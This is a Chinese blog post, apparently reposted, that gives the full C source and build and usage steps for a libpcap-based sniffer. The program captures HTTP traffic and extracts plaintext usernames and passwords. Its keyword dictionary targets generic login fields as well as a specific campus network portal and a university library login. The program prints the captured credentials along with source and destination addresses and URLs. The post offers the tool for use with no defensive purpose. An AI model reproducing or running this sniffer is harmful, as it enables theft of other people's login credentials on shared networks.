基于libpcap的HTTP密码嗅探程序

来源:互联网 发布:js怎么控制class 编辑:程序博客网 时间:2024/06/02 05:19

(原作于2017年4月19日,有删改)

wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:

    sudo apt-get install libpcap-dev

编译密码嗅探程序的命令是:

    gcc sniffpwd.c -o sniffpwd -lpcap

密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。

为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:

    sudo fconfig eth0 promisc

程序很简单,源代码如下:

    #include <time.h>    #include <stdio.h>    #include <stdlib.h>    #include <string.h>    #include <unistd.h>    #include <pcap/pcap.h>    #include <arpa/inet.h>    #include <netinet/ether.h>    //定义链路层数据包格式    typedef struct {        u_char DestMac[6];        u_char SrcMac[6];        u_char Etype[2];    }ETHHEADER;    //定义IP首部格式    typedef struct ip_hdr    {          unsigned char h_verlen;//4位首部长度,4位IP版本号          unsigned char tos;//8位服务类型TOS          unsigned short tatal_len;//16位总长度          unsigned short ident;//16位标示          unsigned short frag_and_flags;//偏移量和3位标志位          unsigned char ttl;//8位生存时间TTL          unsigned char proto;//8位协议(TCP,UDP或其他)          unsigned short checksum;//16位IP首部检验和          unsigned int sourceIP;//32位源IP地址          unsigned int destIP;//32位目的IP地址      }IPHEADER;    //定义TCP首部格式    typedef struct tcp_hdr    {        unsigned short sport;//16位源端口          unsigned short dport;//16位目的端口          unsigned int seq;//32位序列号          unsigned int ack;//32位确认号          unsigned char lenres;//4位首部长度/6位保留字          unsigned char flag;//6位标志位          unsigned short win;//16位窗口大小          unsigned short sum;//16位检验和          unsigned short urp;//16位紧急数据偏移量      }TCPHEADER;    //全局变量    int flag = 0;               //是否只显示嗅探到用户名或口令的包,默认为否    long number =0;      //已嗅探到的包总数    int isHTTP(char *datatcp, int len)        //判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断    {        int i=0;        //只在TCP数据的前200字节查找        int min=200;        if(len<200){            min=len;        }        //开始查找        for(i=0;i<min;i++){            if(datatcp[i]=='H' && i<min-4){                if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){                    return 1;                }            }        }        return 0;        /*        //判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断        if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){            return 1;        }else{            return 0;            }        */    }    void printHTTPhead(char *httphead, int len)        //打印HTTP头部信息或头部第一行(取决于全局变量flag)        //打印头部信息时遇到连续两个换行结束    {        int i;        for(i=0;i<len;i++){            if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){                httphead[i]='\0';                httphead[i+1]='\0';                break;            }            if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){                httphead[i]='\0';                httphead[i+1]='\0';                break;            }        }        if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){            //TCP PAWS处理             //http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html            printf("%s", httphead+12);        }else{            printf("%s", httphead);        }        httphead[i]='\r';        httphead[i+1]='\n';    }    int findPasswd(char *data, int len){        //从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数        //密码可能在URL里,cookie里,HTTP数据里,只能在整个http报文中匹配        int i=0, j=0, min=200;        int p=0;        //在data中的总偏移,用于防止修改非法地址的值        int num=0;   //嗅探到的用户名或口令个数        char temp;        char * next;        char * start;        char * keyword[] = {    //字典,本程序核心技术所在                                         "username=",         //最常见的                                         "password=",         //最常见的                                         "passwd=",             //最常见的                                         "number=",            //我曾经用过的                                         "user=",                  //这是我瞎想的                                         "yonghuming=",     //汉语拼音                                         "mima=",                //汉语拼音                                         "userid=",               //织梦cms                                         "pwd",                    //织梦cms                                         "account=",            //知乎的,虽然它加密了                                         "TxtName",            //华科图书馆                                         "TxtPassword",      //华科图书馆                                         "EPORTAL_COOKIE_USERNAME=", //校园网                                         "EPORTAL_COOKIE_PASSWORD=", //校园网                                         };        int l=sizeof(keyword) / sizeof(keyword[0]);        /* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据             故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/        for(i=0;i<min;i++){            if(data[i]=='H' && i<min-4){                if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){                    start = data+i;                    break;                }            }            if(data[i]=='G' && i<min-3){                if(data[i+1]=='E' && data[i+2]=='T'){                    start = data+i;                    break;                }            }            if(data[i]=='P' && i<min-4){                if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){                    start = data+i;                    break;                }            }        }        /* 依次匹配每个关键词 */        for(i=0;i<l;i++){            next = start;            p = 0;            while( next = strstr(next, keyword[i]) ){   //一个关键词可能出现多次                j=0;                while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){                    //若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B                    if(p>=len){                        break;                    }                    j++;                    p++;                }                temp = next[j];                next[j] = '\0';                if(num==0){                    printf("**********口令嗅探结果***********");                }                printf("\n%s", next);                num++;                next[j] = temp;                next = next + j;            }        }        return num;    }    void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data)        //pcap_loop回调函数    {        /* 声明变量 */        int off,ret;        time_t timep;        char * datatcp;        char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2];  //源IP和目的IP        struct sockaddr_in saSource, saDest;                                                 //源地址结构体,目的地址结构体        /* 设置各种头指针  */        if(header->len<sizeof(ETHHEADER)) return;              //数据帧长度小于以太网头,不做处理        IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER));        TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER));        if(pIpheader->proto!=6) return;                                 //只处理TCP数据        off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER);        datatcp = (unsigned char *)pkt_data + off;        if(isHTTP(datatcp, header->len-off)){            /* 若是HTTP报文 */            number ++;            //打印嗅探结果            ret = findPasswd(datatcp, header->len-off);            if(ret==0 && flag==0){                //没有嗅探到任何口令                printf("**********口令嗅探结果***********");                printf("\n没有嗅探到任何口令");            }else if(ret>0 && !flag){                printf("\n共嗅探到%d个用户名或口令", ret);            }            //flag为1时跳过未嗅探到口令的包            if(ret==0 && flag) return;            // 解析IP地址            saSource.sin_addr.s_addr = pIpheader->sourceIP;            strcpy(szSourceIP, inet_ntoa(saSource.sin_addr));            saDest.sin_addr.s_addr = pIpheader->destIP;            strcpy(szDestIP, inet_ntoa(saDest.sin_addr));            if(!flag){                //打印全部信息                time (&timep);                 printf("\n**********数据包信息***********");                printf("\n数据包编号: %ld", number);                printf("\n数据包长度: %d", header->len);                printf("\n捕获时间: %s", asctime(localtime(&timep)));                printf("**********IP协议头部***********");                  printf("\n标示: %i", ntohs(pIpheader->ident));                  printf("\n总长度: %i", ntohs(pIpheader->tatal_len));                  printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags));                  printf("\n生存时间: %d",pIpheader->ttl);                  printf("\n服务类型: %d",pIpheader->tos);                  printf("\n协议类型: %d",pIpheader->proto);                  printf("\n检验和: %i", ntohs(pIpheader->checksum));                  printf("\n源IP: %s", szSourceIP);                  printf("\n目的IP: %s", szDestIP);                  printf("\n**********TCP协议头部***********");                  printf("\n源端口: %i", ntohs(pTcpheader->sport));                  printf("\n目的端口: %i", ntohs(pTcpheader->dport));                  printf("\n序列号: %i", ntohs(pTcpheader->seq));                  printf("\n应答号: %i", ntohs(pTcpheader->ack));                  printf("\n检验和: %i", ntohs(pTcpheader->sum));                //打印HTTP头部信息                printf("\n**********HTTP协议头部***********\n");                printHTTPhead(datatcp, header->len-off);            }            else{                //只打印必须的信息(必须是指能识别出具体发往哪个网页)                printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport));                printHTTPhead(datatcp, header->len-off);            }            //额外的换行            printf("\n\n");        }        /*        //显示数据帧内容        int i;        for(i=0; i<(int)header->len; ++i)  {              printf(" %02x", pkt_data[i]);              if( (i + 1) % 16 == 0 )                   printf("\n");          }        */    }    int main(int argc, char** argv)    {        /* 声明变量 */        int id = 0;        char errpkt_data[1024];        char *dev="eth0";        bpf_u_int32 ipmask=0;        struct bpf_program fcode;        struct pcap_pkthdr packet;        /* 处理参数 */        if(argc==2){            dev = argv[1];  //指定网卡        }        else if(argc==3){            dev = argv[1];  //指定网卡            flag = 1;           //只显示嗅探到用户名或口令的包        }        /* 打开网络设备 */        pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data);        if(!device){            printf("%s\n", errpkt_data);            return 1;        }        /* 设置过滤规则,只抓取TCP包 */        if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){            printf("%s\n", pcap_geterr(device));        }        if(pcap_setfilter(device, &fcode)==-1){            printf("%s\n", pcap_geterr(device));            return 1;        }        /* 开始抓包 */        pcap_loop(device, -1, pcap_handle, (u_char*)&id);        return 0;    }